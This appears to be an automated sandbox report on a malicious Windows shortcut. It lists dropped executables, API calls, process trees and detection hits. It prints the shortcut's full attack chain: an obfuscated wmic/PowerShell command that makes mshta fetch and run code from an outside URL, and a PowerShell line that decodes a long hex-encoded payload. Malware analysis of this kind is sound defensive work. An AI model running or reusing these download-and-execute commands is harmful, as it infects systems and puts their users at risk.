AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*memstr_e5843207-e
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: This is a third-party compiled AutoIt script.18_2_00007FF697B437B0
Source: PefjSkkhb.exeString found in binary or memory: This is a third-party compiled AutoIt script.
Source: PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_ec196a0a-0
Source: PefjSkkhb.exe, 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*memstr_9c514b9a-d
Source: WMIC.exe, 00000001.00000002.1371416135.000001806C2B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\Desktop\C:\Windows\System32\Wbem\wmic.exe"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"C:\Users\user\Desktop\nTyPEbq9wQ.lnkWinsta0\Defaultmemstr_764f28ab-7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\PefjSkkhb.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Source: nTyPEbq9wQ.lnkLNK file: process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBC110: CreateFileW,DeviceIoControl,CloseHandle,18_2_00007FF697BBC110
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BAD2C4 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,18_2_00007FF697BAD2C4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBD750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,18_2_00007FF697BBD750
Source: C:\Users\Public\Guard.exeCode function: 27_2_00335778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,27_2_00335778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D85778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,31_2_00D85778
Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmpJump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BDF63018_2_00007FF697BDF630
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B6F8D018_2_00007FF697B6F8D0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B558D018_2_00007FF697B558D0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBD87C18_2_00007FF697BBD87C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B4183C18_2_00007FF697B4183C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B8184018_2_00007FF697B81840
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BF17C018_2_00007FF697BF17C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B7175018_2_00007FF697B71750
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD56A018_2_00007FF697BD56A0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B795B018_2_00007FF697B795B0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B4B39018_2_00007FF697B4B390
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B8529C18_2_00007FF697B8529C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD32AC18_2_00007FF697BD32AC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B6C13018_2_00007FF697B6C130
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD206C18_2_00007FF697BD206C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B45F3C18_2_00007FF697B45F3C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B6BEB418_2_00007FF697B6BEB4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B4BE7018_2_00007FF697B4BE70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B53C2018_2_00007FF697B53C20
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BEDB1818_2_00007FF697BEDB18
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B5FA4F18_2_00007FF697B5FA4F
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BEBA0C18_2_00007FF697BEBA0C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC1A1818_2_00007FF697BC1A18
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B4B9F018_2_00007FF697B4B9F0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B7793C18_2_00007FF697B7793C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B7A8A018_2_00007FF697B7A8A0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B867F018_2_00007FF697B867F0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BEC6D418_2_00007FF697BEC6D4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BEA59C18_2_00007FF697BEA59C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BE055C18_2_00007FF697BE055C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B6451418_2_00007FF697B64514
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B784C018_2_00007FF697B784C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B6C3FC18_2_00007FF697B6C3FC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B8240018_2_00007FF697B82400
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC83D418_2_00007FF697BC83D4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD836018_2_00007FF697BD8360
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD632018_2_00007FF697BD6320
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B602C418_2_00007FF697B602C4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B730DC18_2_00007FF697B730DC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BECE8C18_2_00007FF697BECE8C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B60E9018_2_00007FF697B60E90
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B50E7018_2_00007FF697B50E70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B52E3018_2_00007FF697B52E30
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B86DE418_2_00007FF697B86DE4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B82D2018_2_00007FF697B82D20
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD6C3418_2_00007FF697BD6C34
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B42AE018_2_00007FF697B42AE0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BE0AEC18_2_00007FF697BE0AEC
Source: C:\Users\Public\Guard.exeCode function: 27_2_002DB02027_2_002DB020
Source: C:\Users\Public\Guard.exeCode function: 27_2_002D94E027_2_002D94E0
Source: C:\Users\Public\Guard.exeCode function: 27_2_002D9C8027_2_002D9C80
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F23F527_2_002F23F5
Source: C:\Users\Public\Guard.exeCode function: 27_2_0035840027_2_00358400
Source: C:\Users\Public\Guard.exeCode function: 27_2_0030650227_2_00306502
Source: C:\Users\Public\Guard.exeCode function: 27_2_0030265E27_2_0030265E
Source: C:\Users\Public\Guard.exeCode function: 27_2_002DE6F027_2_002DE6F0
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F282A27_2_002F282A
Source: C:\Users\Public\Guard.exeCode function: 27_2_003089BF27_2_003089BF
Source: C:\Users\Public\Guard.exeCode function: 27_2_00350A3A27_2_00350A3A
Source: C:\Users\Public\Guard.exeCode function: 27_2_00306A7427_2_00306A74
Source: C:\Users\Public\Guard.exeCode function: 27_2_002E0BE027_2_002E0BE0
Source: C:\Users\Public\Guard.exeCode function: 27_2_002FCD5127_2_002FCD51
Source: C:\Users\Public\Guard.exeCode function: 27_2_0032EDB227_2_0032EDB2
Source: C:\Users\Public\Guard.exeCode function: 27_2_00338E4427_2_00338E44
Source: C:\Users\Public\Guard.exeCode function: 27_2_00350EB727_2_00350EB7
Source: C:\Users\Public\Guard.exeCode function: 27_2_00306FE627_2_00306FE6
Source: C:\Users\Public\Guard.exeCode function: 27_2_002D32C227_2_002D32C2
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F33B727_2_002F33B7
Source: C:\Users\Public\Guard.exeCode function: 27_2_002FF40927_2_002FF409
Source: C:\Users\Public\Guard.exeCode function: 27_2_002ED45D27_2_002ED45D
Source: C:\Users\Public\Guard.exeCode function: 27_2_002EF62827_2_002EF628
Source: C:\Users\Public\Guard.exeCode function: 27_2_002D166327_2_002D1663
Source: C:\Users\Public\Guard.exeCode function: 27_2_002DF6A027_2_002DF6A0
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F16B427_2_002F16B4
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F78C327_2_002F78C3
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F1BA827_2_002F1BA8
Source: C:\Users\Public\Guard.exeCode function: 27_2_002FDBA527_2_002FDBA5
Source: C:\Users\Public\Guard.exeCode function: 27_2_00309CE527_2_00309CE5
Source: C:\Users\Public\Guard.exeCode function: 27_2_002D7CD727_2_002D7CD7
Source: C:\Users\Public\Guard.exeCode function: 27_2_002EDD2827_2_002EDD28
Source: C:\Users\Public\Guard.exeCode function: 27_2_002F1FC027_2_002F1FC0
Source: C:\Users\Public\Guard.exeCode function: 27_2_002FBFD627_2_002FBFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D2B02031_2_00D2B020
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D294E031_2_00D294E0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D29C8031_2_00D29C80
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D423F531_2_00D423F5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00DA840031_2_00DA8400
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D5650231_2_00D56502
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D2E6F031_2_00D2E6F0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D5265E31_2_00D5265E
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D4282A31_2_00D4282A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D589BF31_2_00D589BF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D56A7431_2_00D56A74
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00DA0A3A31_2_00DA0A3A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D30BE031_2_00D30BE0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D7EDB231_2_00D7EDB2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D4CD5131_2_00D4CD51
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00DA0EB731_2_00DA0EB7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D88E4431_2_00D88E44
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D56FE631_2_00D56FE6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D433B731_2_00D433B7
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D3D45D31_2_00D3D45D
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D4F40931_2_00D4F409
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D416B431_2_00D416B4
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D2F6A031_2_00D2F6A0
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D2166331_2_00D21663
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D3F62831_2_00D3F628
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D478C331_2_00D478C3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D4DBA531_2_00D4DBA5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D41BA831_2_00D41BA8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D59CE531_2_00D59CE5
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D3DD2831_2_00D3DD28
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D4BFD631_2_00D4BFD6
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D41FC031_2_00D41FC0
Source: Joe Sandbox ViewDropped File: C:\Users\Public\Guard.exe D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 00D48B30 appears 42 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 00D40D17 appears 70 times
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: String function: 00D31A36 appears 34 times
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: String function: 00007FF697B68D58 appears 76 times
Source: C:\Users\Public\Guard.exeCode function: String function: 002F0D17 appears 70 times
Source: C:\Users\Public\Guard.exeCode function: String function: 002F8B30 appears 42 times
Source: C:\Users\Public\Guard.exeCode function: String function: 002E1A36 appears 34 times
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: C:\Windows\System32\mshta.exeProcess created: Commandline size = 2993
Source: C:\Windows\System32\mshta.exeProcess created: Commandline size = 2993Jump to behavior
Source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engineClassification label: mal100.expl.evad.winLNK@74/253@14/8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC3778 GetLastError,FormatMessageW,18_2_00007FF697BC3778
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BAD5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,18_2_00007FF697BAD5CC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BACCE0 AdjustTokenPrivileges,CloseHandle,18_2_00007FF697BACCE0
Source: C:\Users\Public\Guard.exeCode function: 27_2_00328DE9 AdjustTokenPrivileges,CloseHandle,27_2_00328DE9
Source: C:\Users\Public\Guard.exeCode function: 27_2_00329399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,27_2_00329399
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D78DE9 AdjustTokenPrivileges,CloseHandle,31_2_00D78DE9
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D79399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,31_2_00D79399
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC58C4 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,18_2_00007FF697BC58C4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBBE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,18_2_00007FF697BBBE00
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC5F2C CoInitialize,CoCreateInstance,CoUninitialize,18_2_00007FF697BC5F2C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B46580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,18_2_00007FF697B46580
Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1824:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1056:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8356:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8840:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2c2hf1on.eht.ps1Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create
Source: C:\Windows\System32\conhost.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\System32\wbem\WMIC.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: nTyPEbq9wQ.lnkReversingLabs: Detection: 21%
Source: nTyPEbq9wQ.lnkVirustotal: Detection: 24%
Source: unknownProcess created: C:\Windows\System32\wbem\WMIC.exe "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh
Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D9